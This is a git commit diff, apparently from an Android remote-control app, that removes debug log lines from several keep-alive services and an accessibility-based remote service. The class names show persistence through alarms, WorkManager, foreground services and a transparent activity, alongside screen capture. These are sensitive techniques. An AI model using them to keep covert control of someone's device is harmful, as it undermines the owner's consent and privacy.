refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
This commit is contained in:
@@ -228,7 +228,6 @@ class AlarmManagerKeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检查")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -174,8 +174,6 @@ class BackgroundKeepAliveManager(private val context: Context) {
|
||||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||||
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
|
||||
}
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
|
||||
// 检查前台服务
|
||||
|
||||
@@ -256,8 +256,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
if (accessibilityService == null) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但AccessibilityService实例未初始化,等待初始化完成")
|
||||
// 权限正常但实例未初始化,等待初始化完成,不强制启动前台服务
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -169,7 +169,6 @@ class KeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始监控无障碍权限")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
@@ -192,13 +191,9 @@ class KeepAliveService : Service() {
|
||||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||||
val accessibilityRunning = AccessibilityRemoteService.isServiceRunning()
|
||||
|
||||
Log.d(TAG, "🔍 检查服务状态: 实例=${accessibilityService != null}, 运行=${accessibilityRunning}")
|
||||
|
||||
if (accessibilityService == null || !accessibilityRunning) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但服务实例未初始化或未运行,等待初始化完成")
|
||||
// 权限正常但服务未运行,等待初始化完成,不强制恢复
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -377,7 +377,6 @@ class RemoteControlForegroundService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检测")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -121,7 +121,6 @@ class WorkManagerKeepAliveService {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),启动保活工作")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
Reference in New Issue
Block a user